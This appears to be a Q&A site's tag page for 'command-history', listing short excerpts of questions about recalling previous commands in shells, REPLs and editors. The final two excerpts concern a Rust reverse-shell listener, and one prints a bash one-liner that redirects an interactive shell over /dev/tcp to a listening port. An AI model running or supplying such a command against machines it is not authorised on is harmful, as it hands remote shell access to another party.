Questions tagged [command-history]
16 questions
5
votes
1 answer
PowerShell bind arrow keys to command history search
In bash, I can bind the Up and Down arrow keys to history search with
"\e[5~": history-search-backward
"\e[6~": history-search-forward
in ~/.inputrc.
If at the prompt I type ca and then the Up key, it will bring the next command line in history…

sancho.s ReinstateMonicaCellio
- 14,708
- 20
- 93
- 185
4
votes
0 answers
Can the size limit of the old-style history.m be modified in -nodesktop mode?
Context: I usually work with MATLAB (R2020a) in -nodesktop or -nodisplay mode on Linux. My command history always gets saved to history.m under my prefdir() when MATLAB exits. The problem is that this file cannot grow above some 4kB or so (rounded…

Vicky
- 969
- 1
- 11
- 19
4
votes
1 answer
Force Python to update command history file from command line?
I use Python without a GUI/IDE by issuing Python from the Bash command line. I use it within a Cygwin environment, which behaves like a Linux system in many respects.
The file used for the history of commands issued at the Python command line is…

user36800
- 2,019
- 2
- 19
- 34
3
votes
1 answer
Why can I not use the command history in minikube ssh
I have a minikube K8s 1 node cluster on my Windows 10 pc. I can SSH into this cluster using minikube ssh.
The problem that I am experiencing is that I can't use the arrow keys to bring back the previous command. I did some looking around and…

Rik Schaaf
- 1,101
- 2
- 11
- 30
2
votes
1 answer
SQLite console command history with arrow keys
I have to think this has been asked, but I didn't find it with a simple search. I do hear others mention this problem, so I know it's not just me.
I'm using Linux Mint 20, use the terminal regularly and rely on the up and down arrow keys to access…

RobG
- 143
- 1
- 1
- 10
2
votes
2 answers
PowerShell track history as full objects across sessions
I am a novice using PowerShell 5.1 under Win 10.
I am tinkering with history. So far, I managed to have a persistent history across sessions with PSReadline. *
But this is a "limited" persistent history, as only commands are saved in a text file,…

sancho.s ReinstateMonicaCellio
- 14,708
- 20
- 93
- 185
1
vote
0 answers
Octave 6.2, using up/down arrows for command history in 'input' function
When using the Octave input function, e.g.
a = input('Value of a: ');
and entering, say, 5, this of course sets a=5. When I press the up arrow to access the most recent command history, instead of going back to 5, goes back to defining a with the…

smcmi
- 106
- 8
1
vote
2 answers
VSCode - How to delete a specific command history in command palette (as opposed to clearing everything)?
I would like to delete several commands from VSCode command palette's "recently used" section, but not clear the entire history. How?
So in Chrome's Omnibar, you can use Shift+del to delete a suggestion. But I cannot find an analogous shortcut in…

cyqsimon
- 2,752
- 2
- 17
- 38
0
votes
0 answers
Getting pyreadline3.Readline's history working with Python 3.9
I am following this
Q&A's procedure for
accessing Python's REPL command history -- specifically at the Conda
prompt, not in an IDE.
I am using Python 3.9 installed under Anaconda on Windows 10. Version
3.9 needed for backward compatibility with…

user2153235
- 388
- 1
- 11
0
votes
0 answers
Conda on Windows 10: Python commands not stored in command history
Background (from here, though the question differs): I am following this answer on writing the Python command history to a file, which relies on the readline module and the write_history_file function therein. I have to account for differences in…

user2153235
- 388
- 1
- 11
0
votes
1 answer
write_history_file("pyHistory"): 'str' object has no attribute 'mode'
I am following this answer on writing the Python command history to a file, which relies on the readline module and the write_history_file function therein. I have to account for differences in using the Conda prompt on Windows 10, which is just…

user2153235
- 388
- 1
- 11
0
votes
1 answer
Cycle through all history occurrences by typing first word and pressing up arrow without Oh-My-Zsh
Is there a way to use OMZ's most loved feature to cycle through all history occurrences by typing first word and pressing up arrow without Oh-My-Zsh itself? I mean there should be some plugin for pure zsh for this, isn't it?
Like on this GIF

Konstantin Sal
- 3
- 1
0
votes
1 answer
Viewing command history in Google Cloud shell
I am trying to view some commands I used several months ago for a course project. I used the history command but it only showed very recent lines. Is there a way to view older command history? thanks!

natural_d
- 15
- 5
0
votes
1 answer
Rust Reverse Shell Recent Command On Up Key Press
I have this rust reverse shell that listens on a ports and awaits a connection.
Then I can run something like /bin/bash -c 'bash -i >& /dev/tcp/0.0.0.0/55100 0>&1' to get a reverse shell.
fn pipe_thread(mut r: R, mut w: W) ->…
user16139080
0
votes
1 answer
Rust Command Line History In Reverse Shell
I have this code to listen on a port and get a reverse shell
fn pipe_thread(mut r: R, mut w: W) -> std::thread::JoinHandle<()>
where
R: std::io::Read + Send + 'static,
W: std::io::Write + Send + 'static,
{
std::thread::spawn(move…
user16139080